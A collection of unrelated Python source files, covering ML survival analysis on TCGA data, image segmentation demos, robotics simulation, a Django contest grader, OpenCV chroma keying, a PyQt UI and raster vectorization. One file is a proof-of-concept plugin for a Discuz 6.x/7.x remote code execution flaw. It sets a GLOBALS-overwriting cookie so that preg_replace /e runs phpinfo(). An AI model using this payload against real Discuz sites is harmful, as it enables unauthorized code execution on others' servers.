    elif kernel == "rbf_mixture":
        def kern(a):
            res = 0.0
            for sig in sigmas_mixture:
                res = res + np.exp(-np.power(a,2)/(2*sig**2))
            return res

    def get_score(x,y):
        res = 0.0
        for i in range(x.shape[0]):
            res = res + np.sum(kern(np.sqrt(np.sum(np.square(x[[i],:] - y), axis=1))))
        return res

    if (drop_xx is False) and (drop_yy is False):
        return get_score(x,x)/(N*(N-1)) - 2*get_score(x,y)/(N*M)  + get_score(y,y)/(M*(M-1))

    else:
        if drop_xx:
            return get_score(y,y)/(M*(M-1)) - 2*get_score(x,y)/(N*M)
        elif drop_yy:
            return get_score(x,x)/(N*(N-1)) - 2*get_score(x,y)/(N*M)

############### define loss ################
def ed(y_data, y_model):
    """Compute Energy distance

    Args:
        y_data (tf.tensor, shape 1xDxN): Samples from true distribution.
        y_model (tf. tensor, shape 1xDxM): Samples from model.

    Returns:
        tf.float: Energy distance for batch
    """
    n_samples_model = tf.cast(tf.shape(y_model)[2], dtype=tf.float32)
    n_samples_data = tf.cast(tf.shape(y_data)[2], dtype=tf.float32)

    N = y_model.shape[-1]

    mmd_12 = tf.reduce_sum(tf.sqrt(tf.reduce_sum(tf.square(y_model - tf.repeat(tf.transpose(y_data, perm=(2,1,0)), repeats=N, axis=2)), axis=1)+K.epsilon()))
    mmd_22 = tf.reduce_sum(tf.sqrt(tf.reduce_sum(tf.square(y_model - tf.repeat(tf.transpose(y_model, perm=(2,1,0)), repeats=N, axis=2)), axis=1)+K.epsilon()))

    loss = 2*mmd_12/(n_samples_model*n_samples_data) -  mmd_22/(n_samples_model*(n_samples_model-1))
    return loss

# subclass Keras loss
class MaxMeanDiscrepancy(Loss):
    def __init__(self, beta=1.0, name="MaxMeanDiscrepancy", **kwargs):
        super().__init__(name=name, **kwargs)
        self.beta = beta

    def call(self, y_data, y_model):
        return ed(y_data, y_model)

    def get_config(self):
        cfg = super().get_config()
        cfg['beta'] = self.beta
        return cfg

################ define soft rank layer ################
class SoftRank(layers.Layer):
    """Differentiable ranking layer"""
    def __init__(self, alpha=1000.0):
        super(SoftRank, self).__init__()
        self.alpha = alpha # constant for scaling the sigmoid to approximate sign function, larger values ensure better ranking, overflow is handled properly by tensorflow

    def call(self, inputs, training=None):
        # input is a ?xSxD tensor, we wish to rank the S samples in each dimension per each batch
        # output is  ?xSxD tensor where for each dimension the entries are (rank-0.5)/N_rank
        if training:
            x = tf.expand_dims(inputs, axis=-1) #(?,S,D) -> (?,S,D,1)
            x_2 = tf.tile(x, (1,1,1,tf.shape(x)[1])) # (?,S,D,1) -> (?,S,D,S) (samples are repeated along axis 3, i.e. the last axis)
            x_1 = tf.transpose(x_2, (0,3,2,1)) #  (?,S,D,S) -> (?,S,D,S) (samples are repeated along axis 1)
            return tf.transpose(tf.reduce_sum(tf.sigmoid(self.alpha*(x_1-x_2)), axis=1), perm=(0,2,1))/(tf.cast(tf.shape(x)[1], dtype=tf.float32))
        return inputs

    def get_config(self):
        return {"alpha": self.alpha}


import os
import sys
sys.path.append('/home/wfa/project/clue')
import torch
from dataset.dataset import TCGA_Sur_Board, Pancancer_TCGA_Sur_Board
from model.clue_model import Clue_model, DownStream_predictor
import random
import numpy as np
import pandas as pd
from torch.utils.data import DataLoader
import time
from tqdm import tqdm
from util.loss_function import cox_loss, c_index
from lifelines.utils import concordance_index
import joblib

def set_seed(seed):
    import os
    random.seed(seed)
    np.random.seed(seed)
    torch.manual_seed(seed)
    torch.cuda.manual_seed(seed)
    torch.cuda.manual_seed_all(seed)
    os.environ['PYTHONHASHSEED'] = str(seed)
    # torch.backends.cudnn.deterministic = True
    torch.backends.cudnn.benchmark = False

set_seed(66)

def get_fold_ids(cancer, fold):
    file_path = '/home/wfa/project/clue/data/SurvBoard/Splits/TCGA'
    train_ids = pd.read_csv(os.path.join(file_path, f'{cancer}/train/train_fold{fold}.csv'))['train_ids'].tolist()
    test_ids = pd.read_csv(os.path.join(file_path, f'{cancer}/test/test_fold{fold}.csv'))['test_ids'].tolist()
    return np.array(train_ids), np.array(test_ids)

# Pan_Cancer = ['BLCA', 'GBM', 'CESC', 'LUSC', 'KIRP', 'LIHC', 'SARC', 'PAAD', 'LGG', 'LUAD', 'KIRC', 'BRCA', 'HNSC']
device_ids = [0, 1, 2, 3] #
omics_type = ['gex', 'mut', 'cnv']
test_cancer = ['LGG', 'BRCA', 'KIRP', 'PAAD', 'BLCA',  'GBM', 'CESC', 'LUSC',  'LIHC', 'SARC',  'LUAD', 'KIRC',  'HNSC']
# test_cancer = ['PAAD']

def adjust_learning_rate(optimizer, epoch, start_lr):
    """Sets the learning rate to the initial LR decayed by 10 every 30 epochs"""
    lr = start_lr * (0.1 ** (epoch // 6))
    for param_group in optimizer.param_groups:
        param_group['lr'] = lr

def train_survival(train_dataloader, model, epoch, cancer, fold, optimizer, omics):
    model.train()
    # model = model.state_dict()
    # for epoch in range(epochs):
    print(f'-----start epoch {epoch} training-----')
    total_loss = 0
    train_risk_score = torch.Tensor([]).cuda()
    train_censors = torch.Tensor([]).cuda()
    train_event_times = torch.Tensor([]).cuda()
    with tqdm(train_dataloader, unit='batch') as tepoch:
        for batch, data in enumerate(tepoch):
            tepoch.set_description(f" Epoch {epoch}: ")
            os_time, os_event, omics_data = data
            os_event = os_event.cuda()
            os_time = os_time.cuda()
            train_censors = torch.concat((train_censors, os_event))
            train_event_times = torch.concat((train_event_times, os_time))

            input_x = []
            for key in omics_data.keys():
                omic = omics_data[key]
                omic = omic.cuda()
                # print(omic.size())
                input_x.append(omic)
            risk_score, self_elbo, cross_elbo, cross_infer_loss, dsc_loss = model(input_x, os_event.size(0), omics)
            train_risk_score = torch.concat((train_risk_score, risk_score))
            CoxLoss = cox_loss(os_time, os_event, risk_score)
            # CELoss = self_elbo + 0.1 * (cross_elbo + cross_infer_loss * cross_infer_loss - dsc_loss * 0.2)
            loss = CoxLoss
            total_loss += CoxLoss.item()
            optimizer.zero_grad()
            loss.backward()
            optimizer.step()
            tepoch.set_postfix(loss=CoxLoss.item())

        print('cox loss: ', total_loss / len(train_dataloader))
        # train_c_index = c_index(train_risk_score, train_event_times, train_censors).item()
        train_c_index = concordance_index(train_event_times.detach().cpu().numpy(), -train_risk_score.detach().cpu().numpy(), train_censors.detach().cpu().numpy())
        print(f'{cancer} train survival c-index: ', train_c_index)

def cal_c_index(dataloader, model, omics, mode):
    model.eval()
    with torch.no_grad():
        gex_risk_score = torch.zeros((len(dataloader)))
        mut_risk_score = torch.zeros((len(dataloader)))
        cnv_risk_score = torch.zeros((len(dataloader)))
        gex_cnv_risk_score = torch.zeros((len(dataloader)))
        gex_mut_risk_score = torch.zeros((len(dataloader)))
        cnv_mut_risk_score = torch.zeros((len(dataloader)))
        risk_score = torch.zeros((len(dataloader)))

        censors = torch.zeros((len(dataloader)))
        event_times = torch.zeros((len(dataloader)))

    for i, data in enumerate(dataloader):
        os_time, os_event, omics_data = data
        input_x = []
        for key in omics_data.keys():
            omic = omics_data[key]
            omic = omic.cuda()
            # print(omic.size())
            input_x.append(omic)
        os_event = os_event.cuda()
        os_time = os_time.cuda()
        survival_risk, self_elbo, cross_elbo, cross_infer_loss, dsc_loss = model(input_x, os_event.size(0), omics)
        gex_survival_risk, _, _, _, _ = model(input_x, os_event.size(0), {'gex': 0})
        mut_survival_risk, _, _, _, _ = model(input_x, os_event.size(0), {'mut': 1})
        cnv_survival_risk, _, _, _, _ = model(input_x, os_event.size(0), {'cnv': 2})

        gex_cnv_survival_risk, _, _, _, _ = model(input_x, os_event.size(0), {'gex': 0, 'cnv': 2})
        gex_mut_survival_risk, _, _, _, _ = model(input_x, os_event.size(0), {'gex': 0, 'mut': 1})
        cnv_mut_survival_risk, _, _, _, _ = model(input_x, os_event.size(0), {'cnv': 2, 'mut': 1})

        gex_risk_score[i] = gex_survival_risk
        mut_risk_score[i] = mut_survival_risk
        cnv_risk_score[i] = cnv_survival_risk
        gex_mut_risk_score[i] = gex_mut_survival_risk
        gex_cnv_risk_score[i] = gex_cnv_survival_risk
        cnv_mut_risk_score[i] = cnv_mut_survival_risk
        risk_score[i] = survival_risk

        censors[i] = os_event
        event_times[i] = os_time

    test_c_index = concordance_index(event_times.detach().cpu().numpy(), -risk_score.detach().cpu().numpy(),  censors.detach().cpu().numpy())
    gex_c_index = concordance_index(event_times.detach().cpu().numpy(), -gex_risk_score.detach().cpu().numpy(), censors.detach().cpu().numpy())
    mut_c_index = concordance_index(event_times.detach().cpu().numpy(), -mut_risk_score.detach().cpu().numpy(), censors.detach().cpu().numpy())
    cnv_c_index = concordance_index(event_times.detach().cpu().numpy(), -cnv_risk_score.detach().cpu().numpy(), censors.detach().cpu().numpy())
    gex_cnv_c_index = concordance_index(event_times.detach().cpu().numpy(), -gex_cnv_risk_score.detach().cpu().numpy(), censors.detach().cpu().numpy())
    gex_mut_c_index = concordance_index(event_times.detach().cpu().numpy(), -gex_mut_risk_score.detach().cpu().numpy(), censors.detach().cpu().numpy())
    cnv_mut_c_index = concordance_index(event_times.detach().cpu().numpy(), -cnv_mut_risk_score.detach().cpu().numpy(), censors.detach().cpu().numpy())

    c_index_list = [test_c_index, gex_c_index, mut_c_index, cnv_c_index, gex_cnv_c_index, gex_mut_c_index, cnv_mut_c_index]
    print(f'{mode}  survival c-index: ', test_c_index, gex_c_index, mut_c_index, cnv_c_index, gex_cnv_c_index, gex_mut_c_index, cnv_mut_c_index)

    return c_index_list, test_c_index

fold = 0
patient_ids = joblib.load('data_handle/13-Pan-cancer-5-fold-cv.pkl')
TCGA_file_path = '/home/wfa/project/clue/data/SurvBoard/TCGA/'
train_patient_ids = patient_ids[f'train_{fold + 1}']
test_patient_ids = patient_ids[f'test_{fold + 1}']
val_patient_ids = patient_ids[f'val_{fold + 1}']

pancancer_train_dataset = Pancancer_TCGA_Sur_Board(TCGA_file_path, test_cancer, omics_type, train_patient_ids)
pancancer_test_dataset = Pancancer_TCGA_Sur_Board(TCGA_file_path, test_cancer, omics_type, test_patient_ids)
pancancer_val_dataset = Pancancer_TCGA_Sur_Board(TCGA_file_path, test_cancer, omics_type, val_patient_ids)

cancer_c_index = []

print(f' start training')
torch.cuda.empty_cache()

epochs = 20
best_c_indices = []
# for fold in range(folds):
torch.cuda.set_device(fold)
omics = {'gex': 0, 'mut': 1, 'cnv': 2}

task = {'output_dim': 1}
fixed = False

model = DownStream_predictor(3, [20531, 19687, 24776], 64, [4096, 1024, 512],
                            '/home/wfa/project/clue/model/model_dict/all_pancancer_pretrain_model_fold0_dim64.pt', task, fixed)
model.cuda()
# model = torch.nn.DataParallel(model, device_ids=device_ids)  # 指定要用到的设备
param_groups = [
    {'params': model.cross_encoders.parameters(), 'lr': 0.0000001},
    {'params': model.downstream_predictor.parameters(), 'lr': 0.001}
]
optimizer = torch.optim.Adam(param_groups)

train_dataloader = DataLoader(pancancer_train_dataset, batch_size=128)
test_dataloader = DataLoader(pancancer_test_dataset, batch_size=1)
val_dataloader = DataLoader(pancancer_val_dataset, batch_size=1)

best_c_index = 0

best_test_c_indices = []
best_val_c_indices = []

for epoch in range(epochs):
    start_time = time.time()
    train_survival(train_dataloader, model, epoch, 'pancancer', fold, optimizer, omics)
    test_c_indices, test_c_index = cal_c_index(test_dataloader, model,  omics, 'test')
    if test_c_index > best_c_index:
        best_c_index = test_c_index
        best_test_c_indices = test_c_indices
        best_val_c_indices, _ = cal_c_index(val_dataloader, model,  omics, 'val')
    print(f'{fold} time used: ', time.time() - start_time)

best_test_c_indices.insert(0, 'pancancer')
best_val_c_indices.insert(0, 'pancancer')
cancer_c_index.append(best_test_c_indices)
cancer_c_index.append(best_val_c_indices)

print(best_test_c_indices, best_val_c_indices)
print(cancer_c_index)
cancer_c_index = pd.DataFrame(cancer_c_index, columns=['cancer', f'{fold} multiomics', f'{fold} gex', f'{fold} mut', f'{fold} cnv', f'{fold} gex_cnv', f'{fold} gex_mut', f'{fold} cnv_mut'])
cancer_c_index.to_csv(f'all_pancancer_pretrain_cross_encoders_c_index_fold{fold}_all_omics.csv', encoding='utf-8')


import matplotlib.pyplot as plt
import numpy as np

from paddlemix.appflow import Appflow
from ppdiffusers.utils import load_image

def show_mask(mask, ax, random_color=False):
    if random_color:
        color = np.concatenate([np.random.random(3), np.array([0.6])], axis=0)
    else:
        color = np.array([30 / 255, 144 / 255, 255 / 255, 0.6])
    h, w = mask.shape[-2:]
    mask_image = mask.reshape(h, w, 1) * color.reshape(1, 1, -1)
    ax.imshow(mask_image)

def show_box(box, ax, label):
    x0, y0 = box[0], box[1]
    w, h = box[2] - box[0], box[3] - box[1]
    ax.add_patch(plt.Rectangle((x0, y0), w, h, edgecolor="green", facecolor=(0, 0, 0, 0), lw=2))
    ax.text(x0, y0, label)

task = Appflow(
    app="auto_label",
    models=["paddlemix/blip2-caption-opt2.7b", "GroundingDino/groundingdino-swint-ogc", "Sam/SamVitH-1024"],
)
url = "https://paddlenlp.bj.bcebos.com/models/community/CompVis/stable-diffusion-v1-4/overture-creations.png"
image_pil = load_image(url)
blip2_prompt = "describe the image"
result = task(image=image_pil, blip2_prompt=blip2_prompt)

plt.figure(figsize=(10, 10))
plt.imshow(result["image"])
for mask in result["seg_masks"]:
    show_mask(mask.cpu().numpy(), plt.gca(), random_color=True)
    for box, label in zip(result["boxes"], result["labels"]):
        show_box(box, plt.gca(), label)

plt.axis("off")
plt.savefig(
    "mask_pred.jpg",
    bbox_inches="tight",
    dpi=300,
    pad_inches=0.0,
)


import math
import numpy as np

# theta_list = [0,30,60,90,120,150]
theta_list = [0,45,90,135]
point_list = [[0,0],[1,1],[2,2],[3,0]]
r_list = np.array([0.0000000]*len(theta_list))
for j in range(len(theta_list)):
    r_list[j] = math.radians(theta_list[j])

# 长 3, 宽 2（黑白方格）roundup
a = 3
b = 2
length = math.ceil(math.sqrt(a **2 + b **2))
print("length:", length)

ans_list = np.array([[0] * len(theta_list)] * (length*2+1))

for i in range(len(point_list)):
    for j in range(len(theta_list)):

        ans = point_list[i][1] * math.cos(r_list[j]) - point_list[i][0] * math.sin(r_list[j])
        if theta_list[j] == 150 or theta_list[j] == 30:
            ans = point_list[i][1] * math.cos(r_list[j]) - point_list[i][0] * 0.5
        p = round(ans)
        ans_list[abs(4-p)][j] += 1
print(ans_list)


from .models import *
from AlphaCodeTasks.views import runTask

def evaluateSubmission(uname, cname, qno):
	cq  = ContestQuestion.objects.get(contest__cname=cname,qno=qno)
	participant = Participant.objects.get(user__username=uname,contest__cname=cname)
	submitted_ans = Submission.objects.get(participant=participant,qno=qno)
	score = 0
	response = "wrong"
	if cq.qtype == "MCQ":
		question = McqQuestion.objects.get(cq=cq)
		correct_options = Option.objects.filter(question=question,correct_option=True)
		selected_options = submitted_ans.user_answer.split("(~$)")
		selected_options = [option for option in selected_options if len(option) > 0]
		no_correct_options = 0
		for selected_option in selected_options:
			for correct_option in correct_options:
				if selected_option == correct_option.option:
					no_correct_options += 1
					break

		if no_correct_options == len(correct_options):
			score += question.score
			response = "correct"
	else:
		question = CodingQuestion.objects.get(cq=cq)
		testcases = TestCase.objects.filter(question=question)
		no_testcases = 0
		correct_answers = 0
		for testcase in testcases:
			data = {'language':submitted_ans.language,
					'code':submitted_ans.user_answer,
					'input':testcase.pgmInput}
			task_output = runTask(data)
			output = task_output["output"]
			output = output.strip()
			if output.split(':')[0] == "Run Server Error":
				return output

			# print(output,testcase.pgmOutputOrEvalCode)
			if testcase.OutputType == "Static":
				if output == testcase.pgmOutputOrEvalCode:
					correct_answers += 1
					score += testcase.score
			else:
				data = {'language':"Python",
					'code':testcase.pgmOutputOrEvalCode,
					'input':testcase.pgmInput+'\n'+output}

				res = runTask(data)
				res = res.strip()
				if res.split(':')[0] == "Run Server Error":
					return res

				if res == "True":
					correct_answers += 1

			no_testcases += 1

		response = "%d/%d testcases are  correct"%(correct_answers, no_testcases)

	submitted_ans.score = score
	submitted_ans.save()
	return response

def getParticipantScore(participant):
	submissions = Submission.objects.filter(participant=participant)
	score = 0
	for submission in submissions:
		score += submission.score

	return score


import math
import matplotlib.patches as patches
import numpy as np

class IdealRobot:
    def __init__(self,pose, agent = None,sensor = None, color="black"):
        self.pose = pose
        self.r = 0.2
        self.color = color
        self.agent = agent
        self.poses = [pose] #時刻tごとにおけるロボット位置:poseのリスト
                            #初期値は与えられた引数を予めアペンドする
        self.sensor = sensor

    def draw(self,ax,elems):
     x,y,theta = self.pose
     xn = x + self.r * math.cos(theta)
     yn = y + self.r * math.sin(theta)
     elems += ax.plot([x,xn],[y,yn],color=self.color)
     c=patches.Circle(xy=(x,y),radius=self.r,fill=False,color=self.color)
     elems.append(ax.add_patch(c))

     self.poses.append(self.pose)
     elems += ax.plot( [e[0] for e in self.poses ],[e[1] for e in self.poses ],linewidth=0.5 ,color = "black" )

     if self.sensor and len(self.pose) > 1:
       self.sensor.draw(ax,elems,self.poses[-2],self.r) #Sensorオブジェクトには、ｔ-1時刻のロボット位置pose[t-1]から、制御指令Utしてからの
                                                        #ｔ時刻のロボット位置pose[t]となるので…
                                                        # poses[0],poses[1] … poses[t-1],poses[t]
                                                        #よってリスト[-2]は、最後尾より二つ前なので、移動前のロボット位置pose[t-1]となる

    #状態遷移関数 ロボット位置POSE(t-1)に制御指令Utである変化量を加えた後のロボットの位置POSE(t)を返す
    @classmethod
    def state_transition(cls,nu,omega,time,pose):
        t0 = pose[2]
        if math.fabs(omega) < 1e-10: #角速度がほぼゼロのとき
          return pose + np.array([
                         nu*math.cos(t0),
                         nu*math.sin(t0),
                         omega
                        ]) *time
        else :
          return pose + np.array([
                        nu / omega *(math.sin(t0 + omega * time) - math.sin(t0)),
                        nu / omega *(-math.cos(t0 + omega * time) + math.cos(t0)),
                        omega * time
          ])

    def one_step(self,time_interval):
      if not self.agent:return

      obs = None
      if not self.sensor == None:#レンジファインダがある場合
       obs = self.sensor.data(self.pose)

      nu,omega = self.agent.decision(obs)
      self.pose = self.state_transition(nu,omega,time_interval,self.pose)


import sys
import numpy as np
import cv2

# 녹색 배경 동영상
cap1 = cv2.VideoCapture('woman.mp4')

if not cap1.isOpened():
    print('video open failed!')
    sys.exit()

# 비오는 배경 동영상
cap2 = cv2.VideoCapture('raining.mp4')

if not cap2.isOpened():
    print('video open failed!')
    sys.exit()

# 두 동영상의 크기, FPS는 같다고 가정
frame_cnt1 = round(cap1.get(cv2.CAP_PROP_FRAME_COUNT))
frame_cnt2 = round(cap2.get(cv2.CAP_PROP_FRAME_COUNT))
print('frame_cnt1:', frame_cnt1)
print('frame_cnt2:', frame_cnt2)

fps = cap1.get(cv2.CAP_PROP_FPS)
delay = int(1000 / fps)
#두개 프레임사이의 간격 알기
# 합성 여부 플래그
do_composit = False
#True면 합성을 하고 거짓이면 합성을 하지 않는다.
# 전체 동영상 재생
while True:
    ret1, frame1 = cap1.read()
    #한장한장의 프레임을 frame1으로 받는다.
    if not ret1:
        break

    # do_composit 플래그가 True일 때에만 합성 아래에서 스페이스바를 통해 합성을 왔다갔다 하기 위해서임.
    if do_composit: #do_composit이 트루면,
        ret2, frame2 = cap2.read()

        if not ret2:
            break

        #frame2=cv2.resize(frame2,(w,h)) ->만약 웹캠으로 할경우 마스크와 내 웹캠의 사이즈를 맞추어야 하므로 리사이즈 해주어야합니다.

        # HSV 색 공간에서 녹색 영역을 검출하여 합성
        hsv = cv2.cvtColor(frame1, cv2.COLOR_BGR2HSV)
        mask = cv2.inRange(hsv, (50, 150, 0), (70, 255, 255))
        #마스크영상 제작
        cv2.copyTo(frame2, mask, frame1)
        #마스크가 흰색으로 되어있는 부분만 frame1(여자)으로 복사를 해라.
        #frame2 비오는 동영상

    cv2.imshow('frame', frame1)
    key = cv2.waitKey(delay)

    # 스페이스바를 누르면 do_composit 플래그를 변경
    # 스페이스를 눌러서 true와 false를 왔다갔다 한다.
    if key == ord(' '):
        do_composit = not do_composit
    elif key == 27:
        break
    #아무것도 누르지 않으면 true문에서 계속돌아 다음영상을 받는다.

cap1.release()
cap2.release()
cv2.destroyAllWindows()

21.크로마키 이미지 합성.py

21.크로마키 이미지 합성.py


import os
from shutil import copy

def check_dir_exists(path):
    if not os.path.exists(path):
        os.mkdir(path)

def split_by_name(dir_path, real_save_path, fake_save_path):
    check_dir_exists(real_save_path)
    check_dir_exists(fake_save_path)

    if not os.path.exists(real_save_path):
        os.mkdir(real_save_path)

    if not os.path.exists(fake_save_path):
        os.mkdir(fake_save_path)

    for file in os.listdir(dir_path):
        tmp_file = os.path.join(os.path.abspath(dir_path), file)
        if 'ground' in file:
            copy(tmp_file, real_save_path + os.sep + file)
        elif 'random' in file:
            copy(tmp_file, fake_save_path + os.sep + file)

if __name__ == '__main__':

    percent_list = ['10%', '20%']
    season_list = ['spring', 'summer', 'fall', 'winter']

    for percent in percent_list:
        for season in season_list:
            dir_name = percent + '_' + season

            dir_path = 'Image_translation_codes/BicycleGAN/results/combined_SEN1_2_' + dir_name + '/test/images'
            real_path = 'Image_translation_codes/BicycleGAN/results/combined_SEN1_2_' + dir_name + '/test/real'
            fake_path = 'Image_translation_codes/BicycleGAN/results/combined_SEN1_2_' + dir_name + '/test/fake'
            split_by_name(dir_path, real_path, fake_path)


from script.exploit import Exploit, Result

class DiscuzRCE(Exploit):
    expName = u"Discuz 6.x 7.x cookie GLOBALS变量覆盖RCE"
    version = "1.0"
    author = "alpha1e0"
    language = "php"
    appName = "discuz"
    appVersion = "6.x 7.x"
    reference = ['http://www.wooyun.org/bugs/wooyun-2014-080723', 'http://bobao.360.cn/learning/detail/107.html']
    description = u'''
        漏洞利用条件：1.Discuz 6.x 7.x; 2.php<=5.3; 3.php.ini request_order为GP
        变量替换、利用preg_replace的/e参数实现远程命令执行
        gh: inurl:viewthread.php
    '''

    def _verify(self):
        result = Result()

        sig = '_SERVER["HTTP_HOST"]'
        cookie = "GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();"
        headers = dict()
        headers['Cookie'] = cookie

        response = self.http.get(self.url, headers=headers)

        if response.status_code == 200:
            if sig in response.content:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Payload'] = cookie

        return result


from PyQt5 import QtGui
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *

from cwidgets import CPushButton
from Form import *
from settings import Settings

class Homepage(QMainWindow):
    def __init__(self, parent=None):
        super(QMainWindow, self).__init__(parent)
        self.setWindowTitle("Mobile Order")

        self.stack = QStackedWidget()
        self.stack.addWidget(HomeMenu())
        self.stack.addWidget(OrderForm())
        # form = HomeMenu()
        self.setCentralWidget(self.stack)

    def return_home(self):
        self.stack.setCurrentIndex(0)

    def next_page(self):
        self.stack.setCurrentIndex(self.stack.currentIndex() + 1)
class HomeMenu(QWidget):
    def __init__(self, parent=None):
        super(QWidget, self).__init__(parent)

        vbox = QVBoxLayout()
        hbox = QHBoxLayout()

        new_order_button = CPushButton("New Order", clicked=lambda: self.new_order_clicked())

        hbox.addStretch()
        hbox.addWidget(new_order_button)
        hbox.addStretch()
        vbox.addStretch()
        vbox.addLayout(hbox)
        vbox.addStretch()

        hbox2 = QHBoxLayout()
        hbox2.addStretch()

        settings_button = CPushButton("Settings", clicked=lambda: self.settings_clicked())
        settings_button.setSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed)

        hbox2.addWidget(settings_button)

        vbox.addLayout(hbox2)

        self.settings = None

        self.setLayout(vbox)

    def new_order_clicked(self):
        self.parentWidget().parentWidget().next_page()

    def settings_clicked(self):
        self.settings = Settings()
        self.settings.show()


"""
Post processing to create feature file out from raster images
"""
import argparse
import logging
import os
import time
from pathlib import Path

import rasterio
from rasterio import features
from shapely.geometry import shape
from tqdm import tqdm

import geo.spatialite as spt
import geo.vectors as geov
from geo import proj
from vsegmenter import cfg

# ROOT_DIR = os.path.abspath("../../")
# sys.path.append(ROOT_DIR)

cfg.configLog()

def simplify_polygon(shapely_polygon, simply_threshold1=1.5, simply_threshold2=3, buffer_distance=1,
                     simply_threshold3=0.5):
    simplified_polygon = shapely_polygon.simplify(tolerance=simply_threshold1)
    simplified_polygon = simplified_polygon.simplify(tolerance=simply_threshold2)
    simplified_polygon = simplified_polygon.buffer(distance=buffer_distance)
    simplified_polygon = simplified_polygon.simplify(tolerance=simply_threshold3)
    return simplified_polygon

def vectorize_predictions(raster_file, db_file, filter_value=1, feature_filter=None, db_file_srid=4258):
    logging.info("Started image vectorization from raster {} into Spatialite {}".format(raster_file, db_file))

    with rasterio.open(raster_file) as src:
        img = src.read()
        mask = img == filter_value
        polys = features.shapes(img, mask=mask, transform=src.transform)
        raster_crs = src.crs

    # transform polygons to db srid
    logging.info(f"Raster file read.")
    polys = [shape(p[0]) for p in polys]
    logging.info(f"Merging {len(polys)} overlapped vectorized polygons.")
    polys = geov.merge_polygons(polys, multiparts=False)

    logging.info(f"Projecting {len(polys)} from srid={raster_crs} into srid={db_file_srid}")
    polys = [shape(proj.transform(raster_crs, db_file_srid, p)) for p in polys]

    if feature_filter:
        polys = [p for p in polys if feature_filter(p)]
    logging.info(f"Polygons after filtering {len(polys)}")
    if len(polys) == 0:
        logging.info(f"No polygons to process, skipping")
        return

    polys = geov.remove_interior_rings(polys)

    # create extent for current polygons
    poly_ext = geov.get_extent(polys)

    layer_name = VINEYARD_LAYER["name"]
    geometry_column = "geom"
    if not os.path.exists(db_file):
        spt.create_spatialite_table(db_file, layer_name, VINEYARD_LAYER["sql"], geometry_col=geometry_column,
                                    srid=db_file_srid)
    # find polygons stored in the same area as current polygons
    logging.info(f"Retrieving exising polygons in {db_file}")
    polys_found = spt.list_by_geometry(db_file, layer_name, geometry_column, poly_ext, db_file_srid)

    # merge all polygons
    logging.info(f"Merging {len(polys_found)} polygons found in vineyard layer.")
    polys.extend(polys_found)
    polys = geov.merge_polygons(polys, multiparts=False)
    logging.info(f"Final merged polygons: {len(polys)}.")

    # remove existing polygons in the extent and insert new ones
    logging.info("Removing preexisting polygons.")
    spt.remove_by_geometry(db_file, layer_name, geometry_column, poly_ext, db_file_srid)
    logging.info(f"Inserting final {len(polys)} polygons.")
    spt.insert_polygons(db_file, layer_name, geometry_column, polys, srid=db_file_srid)

    logging.info("Vectorization finished.")

VINEYARD_LAYER = {"name": "vineyard",
                  "geometry_column": "geom",
                  "sql": """
        CREATE TABLE IF NOT EXISTS vineyard (
            id INTEGER PRIMARY KEY
        )
    """}

def filter_by_area(min_area):
    def area_filter(polygon):
        return shape(polygon).area > min_area

    return area_filter

def simplify_features(input_file, output_file, db_file_srid):
    polys = spt.list_features(input_file, VINEYARD_LAYER["name"], VINEYARD_LAYER["geometry_column"])

    # Simplificar los polígonos y almacenar en una lista
    with tqdm(total=len(polys), desc="Simplifying polygons") as pbar:
        polys_filtered = []
        for p in polys:
            poly_filtered = simplify_polygon(shape(p["geom"]))
            polys_filtered.append(poly_filtered)
            pbar.update(1)

    logging.info(f"Saving simplified features into {output_file}")
    if not os.path.exists(output_file):
        spt.create_spatialite_table(output_file, VINEYARD_LAYER["name"],
                                    table_features_sql=VINEYARD_LAYER["sql"],
                                    geometry_col=VINEYARD_LAYER["geometry_column"],
                                    srid=db_file_srid)
    spt.insert_polygons(output_file, "vineyard", "geom", polys_filtered, srid=db_file_srid)

def post_process_images(image_files, output_file):
    total = len(image_files)
    for i, f_image in enumerate(image_files):
        logging.info("Vectorizing image {} of {}".format(i + 1, total))
        vectorize_predictions(f_image, output_file, feature_filter=filter_by_area(min_area=300), db_file_srid=25830)

    if not os.path.exists(output_file):
        logging.info(f"NO SQLITE FILE FOUND, check image post_processing")
        return

    filtered_output_file = output_file.replace(".sqlite", "_filtered.sqlite")
    logging.info(f"Simplifying polygons into {filtered_output_file}")
    simplify_features(output_file, filtered_output_file, db_file_srid=25830)
    logging.info("Vectorized geometries successfully written.")

def run_process(input_folder, output_file, interactive=False, wait_time=15, max_wait=15 * 60, process_existing=True):
    # Procesa las imágenes existentes en el directorio input_folder
    input_images = [os.path.join(input_folder, f_img) for f_img in os.listdir(input_folder) if
                    f_img.endswith(".tif")]
    if process_existing:
        logging.info(f"Running post-processing actions on existing images: {len(input_images)}")
        post_process_images(input_images, output_file)
    else:
        # add all existing files as processed
        logging.info(f"Avoiding processing existing images: {input_images}")

    # Si se ejecuta en modo interactivo, espera y procesa nuevas imágenes que vayan apareciendo
    if interactive:
        logging.info(f"Interactive loop, waiting for new images on : {input_folder}")
        processed_files = set(input_images)
        no_new_images_time = 0

        while no_new_images_time < max_wait:
            input_files = set(Path(input_folder).glob("*.tif"))

            # Encuentra nuevos archivos que aún no se han procesado
            new_files = input_files.difference(processed_files)
            if new_files:
                logging.info(f"New files found : {new_files}")
                post_process_images(new_files, output_file)
                processed_files.update(new_files)
                no_new_images_time = 0
            else:
                time.sleep(wait_time)
                no_new_images_time += wait_time

if __name__ == '__main__':
    """"""
    parser = argparse.ArgumentParser(description="Running inference con vsegmentation models")
    parser.add_argument("input_folder", type=str, help="Folder that contains raster masks to process")
    parser.add_argument("--interactive",
                        help="Run in interactive mode, waiting for new files to process in input_folder", default=False)
    parser.add_argument("--process_existing", help="Whether to process already existing files or just new ones",
                        default=True)

    args = parser.parse_args()
    input_folder = args.input_folder
    interactive = args.interactive
    process_existing = args.process_existing

    output_file = os.path.join(input_folder, "polygons.sqlite")
    logging.info(f"Processing raster images in folder:  {input_folder}")
    logging.info(f"Processing existing images:  {process_existing}")
    logging.info(f"Output polygons file:  {output_file}")

    run_process(input_folder, output_file, interactive=interactive, process_existing=process_existing)

    logging.info("Finished. Vectorized geometries successfully written.")